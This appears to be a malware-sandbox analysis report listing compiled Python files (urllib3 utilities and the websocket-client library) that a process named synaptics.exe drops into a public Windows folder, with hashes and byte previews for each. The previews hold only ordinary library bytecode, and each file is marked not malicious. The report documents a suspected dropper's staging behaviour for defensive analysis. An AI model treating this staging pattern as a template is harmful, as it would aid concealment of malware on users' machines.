None..socket.socketc....................C...s$...\|.\.}.}.\|...d...r.\|...d...}.d.}.t...}.z.\|...d.....W.n...t.y......t.d.\|...d.....d...w.t...\|.\|.\|.t.j...D.]O}.\|.\.}.}.}.}.}.d.}.z(t...\|.\|.\|...}.t.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\proxy.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.403816031998314
Encrypted:	false
SSDEEP:	24:V/ZpGf5n/lIpWt84RzmQXvAFnT8adLRbpH7frY8lt6rn:Vut/Rt82m38apbf7S
MD5:	89B8E3BD7EA958F102981CF9700291E5
SHA1:	B919C52800EA48EC1E2D6059E8688DF8F82B6A25
SHA-256:	BD8D7612D207CC4D48B9705DBE325CA4EF8780DB313F90400BD4EEB951D6CF1C
SHA-512:	F3D5D29E9F2BB1D9EF378F525B90B65CEF40B81E000A70DE839F952F49E9F639C0D66DCA277C259BECB56A2CEE2583DD7B267F2E846BD06F61AF81A386CFD830
Malicious:	false
Reputation:	low
Preview:	o.......=..f\|........................@...sH...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...e.j.r.d.d.l.m.Z.........d.d.d.d...Z.d.S.)......)...annotationsN.....)...Url.....)...ProxyConfig..proxy_url..Url \| None..proxy_config..ProxyConfig \| None..destination_scheme..str \| None..return..boolc....................C...s4...\|.d.u.r.d.S.\|.d.k.r.d.S.\|.j.d.k.r.\|.r.\|.j.r.d.S.d.S.).a?.... Returns True if the connection requires an HTTP CONNECT through the proxy... :param URL proxy_url:. URL of the proxy.. :param ProxyConfig proxy_config:. Proxy configuration from poolmanager.py. :param str destination_scheme:. The scheme of the destination. (i.e https, http, etc). NF..http..httpsT)...scheme..use_forwarding_for_https).r....r....r......r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\proxy.py..connection_requires_http_tunnel....s..........................r....).NNN).r....r....r....r....r....r....r....r....)...__future__r......typing..urlr......TYPE_CHECKING..

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\request.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6201
Entropy (8bit):	5.645657954132128
Encrypted:	false
SSDEEP:	96:Rj+t5ZTiDKV+DKYzQ2P7fRxa5jyGyT/aOMyjxMbsrHMCtkwTVvAJhK:EsKV+DKYzP7pxdCsxM4H/T5
MD5:	0E75AFA9B28D11D1D4BE73D17CD745B6
SHA1:	F4699501C42194453DE1A7F9B9B8D4426F0E9AD3
SHA-256:	70EFDC85440B4AF730C3DA6152817556EA58EF51A551682F315F189822D51817
SHA-512:	96FE282A70596FBE451D2CF993F79B3948DF2EA1ECE3343BBBC22F159197E648FDE7C5BB3C0885FAC3B8DF723EFCD9F94249D65ACB8D485B371D45982D53C569
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sd...U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r0d.d.l.m.Z...d.Z.e.g.d.....Z.d.Z.z.z.d.d.l.Z.W.n...e.yN......d.d.l.Z.Y.n.w.W.n...e.yY......Y.n.w.e.d.7.Z.z.d.d.l.Z.W.n...e.ym......Y.n.w.e.d.7.Z.G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.e.f...Z.h.d...Z.............d6d7d.d ..Z d8d%d&..Z!d9d+d,..Z"G.d-d...d.e.j#..Z$d:d4d5..Z%d.S.);.....)...annotationsN)...b64encode)...Enum.....)...UnrewindableBodyError.....)...to_bytes)...Finalz.@@@SKIP_HEADER@@@)...accept-encoding..host..user-agentz.gzip,deflatez.,brz.,zstdc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_FAILEDTELLr....N)...__name__..__module__..__qualname__..token..r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\request.pyr....'...s........r....z.Final[_TYPE_FAILEDTELL].._FAILEDTELL>......HEADZ.CONNECTZ.TRACEZ.DELETEZ.OPTIONS..GET..keep_alive..bool \| None..accept_encoding..bool \| list[str] \| str \| None..user_agent..str \| None..basic_

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\response.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2333
Entropy (8bit):	5.382572800996394
Encrypted:	false
SSDEEP:	48:Cmhh16zJQ+Nk7gkL2YMHhfpm7kmpx6nriZEviRo3C:p6zGslvhaIds
MD5:	4F5A13A1D17878BAD785726FAB32B4CB
SHA1:	513C6B187C8B4144D3CFF386752037A61AE07394
SHA-256:	CFF30FA5DA11ACD82F0F6CE182CEB700DEC0631D40E10860E17D2853AEE83D81
SHA-512:	780F372F388BC2BE3CB84B4FB8E48C6CF6B3D322AEB3958F7AB616786C8DA3ABA417614AF14E1311DFD5F41F6E8935DBB23E8F63B91314A340BF921EB184B9A2
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sV...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......)...annotationsN)..!MultipartInvariantViolationDefect..StartBoundaryNotFoundDefect.....)...HeaderParsingError..obj..object..return..boolc....................C...s`...z.\|.....W.S...t.y.......Y.n.w.z.\|.j.W.S...t.y.......Y.n.w.z.\|.j.d.u.W.S...t.y/......Y.t.d.....w.).zt. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. Nz)Unable to determine whether fp is closed.)...isclosed..AttributeError..closed..fp..ValueError).r......r.....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\response.py..is_fp_closed....s ...................................r......headers..httplib.HTTPMessage..Nonec....................C...sn...t.\|.t.j...s.t.d.t.\|.....d.......d.}.\|.....s#\|.....}.t.\|.t.t.f...r#\|.}.d.d...\|.j.D...}.\|.s/\|.r5t.\|.\|.d.....d.S.).a>.... Asserts whether all headers have been successful

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\retry.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15746
Entropy (8bit):	5.362946859038454
Encrypted:	false
SSDEEP:	192:0f/Qj12FuuccXjtRLJIkyuhvCF4+W8THjSbG9JJb2s5297Y:09suPVJvCOWDsG97297Y
MD5:	2992303387474E39D65AC07FF91F0C3F
SHA1:	D33EB39E206EBA6ECD50AA829544907EE5D34704
SHA-256:	A1DA0AB0D791099B196DAEB816A7B2D738C476E8D46EE03A0F30A56B2875BBC1
SHA-512:	615215A3C502F35C39C909CF775AC6A6BD26015B49B23E6D0D52E826CC0E60B4768CB8EF703BD32E45C350337919CE00C2B1F25E4E1DEA899548BFD55345A4CF
Malicious:	false
Reputation:	low
Preview:	o.......=..f.H.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.j.rWd.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...e...Z.G.d.d...d.e.j ..Z!G.d.d...d...Z"e"d...e"_#d.S.)......)...annotationsN)...takewhile)...TracebackType.....)...ConnectTimeoutError..InvalidHeader..MaxRetryError..ProtocolError..ProxyError..ReadTimeoutError..ResponseError.....)...reraise)...Self)...ConnectionPool)...BaseHTTPResponsec....................@...s6...e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)...RequestHistory..str \| None..method..url..Exception \| None..error..int \| None..status..redirect_locationN)...__name__..__module__..__qualname__..__annotations__..r....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\retry.pyr....!...s................r....c....................@...s"...e.Z.d.Z.U.d.Z.e.g.d.....Z.e.g.d.....Z.e.g.d.....Z.d.Z.d.e.d.<.d.d.d.d.d.d.e.d.d.e.d.d.d.d.e.d.f.dbd'd

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\ssl_.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12458
Entropy (8bit):	5.650762055607489
Encrypted:	false
SSDEEP:	384:pjDb/AE642qEOM00ueLG0d1JK9CZdFyKZA2MlJC9M7:BBpEfBbLPfyKZmbC+7
MD5:	F81440DDB369A5B5F6CCA2294FAAE447
SHA1:	1A90D65315AB6672854EDB3B8EE992F64AD0B91B
SHA-256:	5CD4D75F9A944720A33264EBBBCB02B0927B68D07449F9D520692613A1A0FB73
SHA-512:	521D91E50F78A6300467D2165CA99BBA2EBA393F8ABFED552BADE2AA9202D57B2986A24612FF95DBA2BFCA466E63CABD60A271125D8D19688C9E18726A73AD7D
Malicious:	false
Reputation:	low
Preview:	o.......=..f&K.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.g.Z.e.j.e.e.e.e.e.f...Z.d.d...d.D...Z.dcd.d...Z.ddd.d...Z.e.j.r~d.d.l.m.Z...d.d.l.m Z ..d.d.l!m.Z"..G.d.d ..d e d.d!..Z#i.Z$d"e%d#<.z_d.d.l.Z.d.d$l.m&Z&m.Z.m'Z'm(Z(m)Z)mZm+Z+m,Z,m-Z-m.Z.m.Z.m/Z/..e+Z0e.r.e.e)ee.j1j2e.j3e.j1j2d%k.r.e.j4n.d...s.d.Z.d&D.].Z5z.e6e/e5..e$e6e.d'e5......<.W.q...e7y.......Y.q.w.d.d.l!m.Z...W.n...e8y.......d(Z'd)Z(dZ-d+Z.d...Z0Z+d,Z,Y.n.w.e.j9d e:d.f...Z;ded1d2..Z<dfd6d7..Z=dgd8d9..Z>............dhdidCdD..Z?e.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdkdUdV....ZAe.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdldXdV....ZA........................dmdldYdV..ZAdnd\d]..ZBdod_d`..ZC..dpdqdadb..ZDd.S.)r.....)...annotationsN)...unhexlify.....)...ProxySchemeUnsupported..SSLError.....)..._BRACELESS_IPV6_ADDRZ_RE.._IPV4_REFz.http/1.1c....................C...s....i.\|.].\.}.}.\|.t.t.\|.d.....q.S...N)...getattr..hashlib)....0..le

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\ssl_match_hostname.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3702
Entropy (8bit):	5.71592384052882
Encrypted:	false
SSDEEP:	96:hY/R/mUkAMdqu1vkAlH2TIYxfyRGH0MYUFgAL8IzE+wqq3:hXPA2MAV07xjHTgh2Etqq3
MD5:	9D6D184381D65DD413843F71E9B59F78
SHA1:	D02983E5BCA7BCA7877F26913C284DD6B09C2B07
SHA-256:	9B8070B2987FD29A77A68267A62FB61BB146AA260F30F07554CC8BB182BBDFC3
SHA-512:	04DE584F171B5FB89E35DF22AE5B8447CAAA194FEF2301AAAD679CB3701CF665E3B4FE1A22FF42B3FF3CAA033E6AEE86457B52CF03E10E09E503F8A21FB0F3CA
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...e.j.r%d.d.l.m.Z...d.Z.G.d.d...d.e...Z...d!d"d.d...Z.d#d.d...Z...d$d%d.d ..Z.d.S.)&zHThe match_hostname() function from Python 3.5, essential when using SSL......)...annotationsN)...IPv4Address..IPv6Address.....)..._TYPE_PEER_CERT_RET_DICTz.3.5.0.1c....................@...s....e.Z.d.Z.d.S.)...CertificateErrorN)...__name__..__module__..__qualname__..r....r.....QC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\ssl_match_hostname.pyr........s........r......dn..typing.Any..hostname..str..max_wildcards..int..return..typing.Match[str] \| None \| boolc....................C...s....g.}.\|.s.d.S.\|...d...}.\|.d...}.\|.d.d.....}.\|...d...}.\|.\|.k.r&t.d.t.\|.........\|.s2t.\|.....\|.....k...S.\|.d.k.r<\|...d.....n.\|...d...sF\|...d...rO\|...t...\|.......n.\|...t...\|.....d.d.......\|.D.].}.\|...t...\|.......q]t...d.d...\|.....d...t.j...}.\|...\|...S.).zhMatching according to RFC 6125, section 6.4.3.. http://to

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\ssltransport.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9418
Entropy (8bit):	5.267188456300155
Encrypted:	false
SSDEEP:	192:P330cuKX0gSvpkv9nfgC+JCdABK1sdIDv5YaBbcMhu:P330lK/Svp4tdcYsyxBYWu
MD5:	381DF4BCE1B0EA324D4B060F569DEB4F
SHA1:	C96005F91469A17CC84A6D4325607AA8D39CE9F9
SHA-256:	7120F28C3B9BA776C1830196397B31F2009EC95993AADBB7893FC14A3BA23984
SHA-512:	F62FA01447C7AC8AC3070A498BDF0236100771A0D00F5A48735AF0FAD9CB56146C75A1B5696715C3CB71A54738C7FCEB9C82FB8B2AA3D5145169C2AC2BA0BD3E
Malicious:	false
Reputation:	low
Preview:	o.......=..f.".......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.j.r-d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.e.f...Z.e...d...Z.d.Z.G.d.d...d...Z.d.S.)......)...annotationsN.....)...ProxySchemeUnsupported)...Self.....)..._TYPE_PEER_CERT_RET.._TYPE_PEER_CERT_RET_DICT.._ReturnValuei.@..c....................@...s....e.Z.d.Z.d.Z.e.dsd.d.....Z.....dtdud.d...Z.dvd.d...Z.dwd.d...Z.dxd.d...Z.dydzd!d"..Z.d{d\|d&d'..Z....#d}d~d,d-..Z.d.d.d0d1..Z.d.d.d2d3..Z...d.d.d.d.d4..d.d<d=..Z.d.d>d?..Z.d.d@dA..Z.e.j..Bd.d.dFdG....Z.e.j.d.dJdG....Z.d.d.dMdG..Z.d.dNdO..Z.d.dQdR..Z.d.dSdT..Z.d.dVdW..Z.d.dXdY..Z.d.d\d]..Z.d.d^d_..Z.d.d`da..Z.d.d.dcdd..Z.e.j.d.dgdh....Z.e.j.d.dkdh....Z.e.j.d.dndh....Z.....d.d.drdh..Z.d.S.)...SSLTransportaL.... The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. i

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\timeout.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9598
Entropy (8bit):	5.132660416158546
Encrypted:	false
SSDEEP:	96:H08vOMrflhdz+7V0MV8K7byybXiCDzQyFF/LCfAChn8l/qxzWOBGawWy8I81GZ5e:Hdrn+l/ucy80CBXPqGrpjMKfQHcsyJO
MD5:	0AE4CFBA3DB9B3E692E3248BA15A5323
SHA1:	B37EC4DAA319581E8F5D30B9B346438775585031
SHA-256:	251B2E1A71158B5F566C195FC2E1EC8D938D2790A363979D3F4456E406E61889
SHA-512:	4A925AA9FF6387B57EA65E0E7E672CFBE0FDBC9B734766DCF43D191E13418AE77753B772D72A6208089C36FF4240C5A803F2CEC9CC74F70DCCA28F6CC6AEA7CF
Malicious:	false
Reputation:	low
Preview:	o.......=..fj(.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.rd.d.l.m.Z...G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.j.e.e.f.....Z.G.d.d...d...Z.d.S.)......)...annotationsN)...Enum)...getdefaulttimeout.....)...TimeoutStateError)...Finalc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_DEFAULT.....N)...__name__..__module__..__qualname__..token..r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\timeout.pyr........s........r....z.Final[_TYPE_DEFAULT].._DEFAULT_TIMEOUTc....................@...s....e.Z.d.Z.U.d.Z.e.Z.d.e.d.<.d.e.e.f.d$d.d...Z.d%d.d...Z.e.Z.e.d&d.d.....Z.e.d'd.d.....Z.e.d(d.d.....Z.d)d.d...Z.dd.d...Z.d*d.d...Z.e.d+d d!....Z.e.d,d"d#....Z.d.S.)-..Timeouta....Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=timeout)..

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\url.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11236
Entropy (8bit):	5.783864614134648
Encrypted:	false
SSDEEP:	192:JVOJJgt54ZqlH/qh/QFYP0YU5HqDtR4qzFYqW1D5hOBdmpInwqH5qVcPoO8RqUvi:JVeJgt54ZqVqhoJxHqDtR4qxYqW1D5k3
MD5:	6823E15C6C2104B4317C44BA912CA4AE
SHA1:	2CDC4612EEB65FF54C938A0516041128C48E0F07
SHA-256:	6B2478317624B203689A6BA99F91BB4FB187BB5ECF6FA65150EE0FF8E8E47C2E
SHA-512:	D950694ADFF1231D3EF318B03480AA1A79619103FD7C5E642771B9084B922558549C4EBCD81E0EF6348BEF6DB803048D7CEB033B3ED538E9B8F177B694E69009
Malicious:	false
Reputation:	low
Preview:	o.......=..fm;.......................@...s~...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.e...d...Z.e...d...Z.e...d.e.j.e.j.B...Z.d.Z.d.Z.d.j.e.e.d...Z.e.e.d...Z.g.d...Z.d.Z.d.d...d.d...e.D.......d...Z.d.e...d...Z.d.e...d...e...d...Z.d.Z.e...d...Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e.d.d.......d.....Z.e...d e...d!....Z d"e.e.e.f...Z!e...e!e.j.e.j.B...Z"e#d#..Z$e#d$..Z%e$e%B.d%h.B.Z&e&d&d'h.B.Z'e'd(h.B...Z(Z)G.d)d..de..dd+e.j+e,..f.d,e.j+e,..f.d-e.j+e,..f.d.e.j+e-..f.d/e.j+e,..f.d0e.j+e,..f.d1e.j+e,..f.g.....Z.e.j/dMd7d8....Z0e.j/dNd:d8....Z0dOd<d8..Z0dPd=d>..Z1e.j/dQd?d@....Z2e.j/dRdAd@....Z2dSdBd@..Z2dTdEdF..Z3dUdHdI..Z4dVdKdL..Z5d.S.)W.....)...annotationsN.....)...LocationParseError.....)...to_str)...http..httpsNz.%[a-fA-F0-9]{2}z.^(?:[a-zA-Z][a-zA-Z0-9+-]:\|/)zS^(?:([a-zA-Z][a-zA-Z0-9+.-]):)?(?://([^\\/?#]))?([^?#])(?:\?([^#]))?(?:#(.))?$z.(?:[0-9]{1,3}\.){3}[0-9]{1,3}z.[0-9A-Fa-f]{1,4}z.(?:{hex}:{hex}\|{ipv4}))...hexZ.ipv4).r....Z.ls32).

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\util.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	5.053169822129588
Encrypted:	false
SSDEEP:	24:Su2LkVMQdXRjkhlcRMHyz4tMXSwgpsqnud9Qzm+6IErGXTSu:S0MQdBYhlchWp1KQ9+GXmu
MD5:	9365154AD6F626F4381CFC598D9EFBDB
SHA1:	D5AA8F2CF7B527905900E926F3B2C1F8B3F8EA9B
SHA-256:	17C26430C03F09005F9B412FCA37714D9CFA8B705B6E1333C5FD5A6AFBD843DA
SHA-512:	192454D83C886EA33E2C43D81D49C7B5F6FF537C4E395C6747748897D0D0AB98FEF4FA8343058FABB0137047814FF27FAAB96F7EBA3372600B0C55EB5922B3FF
Malicious:	false
Reputation:	low
Preview:	o.......=..fz........................@...sN...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.....d.d.d.d...Z...d.d.d.d...Z...d.d.d.d...Z.d.S.)......)...annotationsN)...TracebackType..x..str \| bytes..encoding..str \| None..errors..return..bytesc....................C....R...t.\|.t...r.\|.S.t.\|.t...s.t.d.t.\|...j.........\|.s.\|.r%\|.j.\|.p.d.\|.p"d.d...S.\|.....S...Nz.not expecting type z.utf-8..strict).r....)...isinstancer......str..TypeError..type..__name__..encode..r....r....r......r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\util.py..to_bytes.......................r....r....c....................C...r....r....).r....r....r....r....r....r......decoder....r....r....r......to_str....r....r......tp..type[BaseException] \| None..value..BaseException..tb..TracebackType \| None..typing.NoReturnc....................C...s$...z.\|.j.\|.u.r.\|...\|.....\|...d.}.d.}.w...N)...__traceback__..with_traceback).r....r....r....r....r....r......reraise....s................r%...).NN).r....r....r....r....r....r....r..

C:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\pycache\wait.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	5.152838774685659
Encrypted:	false
SSDEEP:	48:3y6A4HN1SSpUlQYvX7ws85K4CE8uG9G0N3Ae8wWv9O3ArDiPh:3y6A4HT1pMvX7h0mh9GcAFwWlIArDiPh
MD5:	CCC0DA8D59E9CD01540D64AA55F301D2
SHA1:	A511DB83382D48750970B07BFDB1362CD7ED9EF1
SHA-256:	4E103663D9FF581E17A89FEC67A9F8A4661C05E04BA131329E0B19EE48F1E8F1
SHA-512:	47CB7CA3BA3D11E5632FDA972BBCBA39794E7B278569A6FB66207BFBFB5A4064ED0B2ACD74D4DFFC626CA1BD1949CCCFBA46D6045566A571B1B4BD5E1150FD82
Malicious:	false
Reputation:	low
Preview:	o.......=..fG........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.g.Z.......d.d.d.d...Z.......d.d.d.d...Z.d.d.d...Z.......d.d.d.d...a.d.d.d.d...Z.d.d.d.d...Z.d.S.)......)...annotationsN)...partial..wait_for_read..wait_for_writeF..sock..socket.socket..read..bool..write..timeout..float \| None..returnc....................C...sb...\|.s.\|.s.t.d.....g.}.g.}.\|.r.\|...\|.....\|.r.\|...\|.....t.t.j.\|.\|.\|...}.\|.\|...\.}.}.}.t.\|.p/\|.p/\|...S.).N.2must specify at least one of read=True, write=True)...RuntimeError..appendr......selectr....).r....r....r....r....Z.rcheckZ.wcheck..fnZ.rreadyZ.wreadyZ.xready..r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\wait.py..select_wait_for_socket!...s..........................r....c........................s^...\|.s.\|.s.t.d.....d.}.\|.r.\|.t.j.O.}.\|.r.\|.t.j.O.}.t...........\|.\|.....d...f.d.d...}.t.\|.\|.....S.).Nr....r......tr....r......list[tuple[int, int]]c........................s....\|.d.u.r.\|.d.9.}.....\|...S.).Ni....)...poll).r..

C:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	982
Entropy (8bit):	5.482247975063762
Encrypted:	false
SSDEEP:	24:Z5G9Zl4IpheU0E+4HQk1Gps2OJjGJq4E+P:ZAl4+h0CH31KiJjG2g
MD5:	2992602B10AECD1F89DD35F6CE079345
SHA1:	545AAE4996C38E967493C1ACBD303B282C9D055E
SHA-256:	3B31F9F9797E296972C7F0D92288A54654D8F65E2FB47DCD432A33DD3C94A1BA
SHA-512:	F3BC8441A9E574C91D0421B24D11D0B18E2E92AF5114F887A89FBBA6063BF0A97AB7A189B0233488E9698F2296CBA4F3249749ED3E86CB12996D2A6B421F09A7
Malicious:	false
Reputation:	low
Preview:	o.........fA........................@...sD...d.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.T.d.d.l.T.d.d.l.T.d.d.l.T.d.Z.d.S.).ab....__init__.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.......)...*)...WebSocketApp..setReconnectz.1.8.0N)...__doc__Z._abnfZ._appr....r....Z._core.._exceptionsZ._logging.._socket..__version__..r....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\__init__.py..<module>....s....................

C:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\pycache\_abnf.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11151
Entropy (8bit):	5.411950423612766
Encrypted:	false
SSDEEP:	192:pfJmK7EmCkzdMfdx4cIl+UqLcHo36L5FskQJeCiROUppvaZdre82l4rn0WFV:DmTSulap8UCAo3Kn4GHppCe82+rn0o
MD5:	E47CF4AA8EEC779F22375E30C8768961
SHA1:	1D1CAD9FF8D547515B6CD2BBB5C7F1B7BF189BE9
SHA-256:	63798463C9D7A79A947FE5E4B5E7B7E1AF7A9A906A644A5457B0FF54C55D6DFA
SHA-512:	CD6E6A22943FD75FDCD9548EC686AE4566E02BAAE75A4B34D9AD61AC715476F523C3BEE42D7362267FCFB98624B350186AC94D2CC0A364220D0ACFC35419DC2F
Malicious:	false
Reputation:	low
Preview:	o.........f18.......................@...sJ...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....z.d.d.l.m.Z...d.e.j.d.e.j.d.e.f.d.d...Z.W.n...e.y]......e.j.Z.d.e.j.d.e.j.d.e.f.d.d...Z.Y.n.w.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%e.e.e.e.e.e.e.e e!e"e#e$f.Z&G.d.d...d...Z'G.d d!..d!..Z(G.d"d#..d#..Z)d.S.)$.....N)...Lock)...Callable..Optional..Union.....)...WebSocketPayloadException..WebSocketProtocolException)...validate_utf8)...XorMaskerSimple..mask_value..data_value..returnc....................C...s....t.\|.....\|...}.\|.S...N).r......process).r....r....Z.mask_result..r.....AC:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\_abnf.py.._mask%...s........r....c....................C...sH...t.\|...}.t...\|.t...}.t...\|.\|.d.....\|.d.\|.d.........t...}.\|.\|.A...\|.t...S.).N.....)...len..int..from_bytes..native_byteorder..to_bytes).r....r....Z.datalenZ.int_data_valueZ.int_mask_valuer....r....r....r....-...s................).

C:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\pycache\_app.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	19439
Entropy (8bit):	5.402801094079532
Encrypted:	false
SSDEEP:	384:hHJMnoF3eIfFDxNUbVr5mEtr0zSo0/3888tiYn:hHJMnoF3eIddNcrggqSo0/98ln
MD5:	9787965DF1835A7A87A17C25E287A9E9
SHA1:	F8B307DEA8E26EBC3020972BB0EA48A7FF32D414
SHA-256:	E6E20C680CEF12480B970E68D7191748E4E93D8532CA18101B2004F1DED16B25
SHA-512:	CCAFB454FB9AB7436074FE4A88581C67421109B663534B8D6962600ADE6DDD4066FFD647DC00B21DF65529C2199F12A6D633DC072CA159400A080ADC15FA443F
Malicious:	false
Reputation:	low
Preview:	o.........fp^.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.g.Z.d.a.d.e.d.d.f.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z 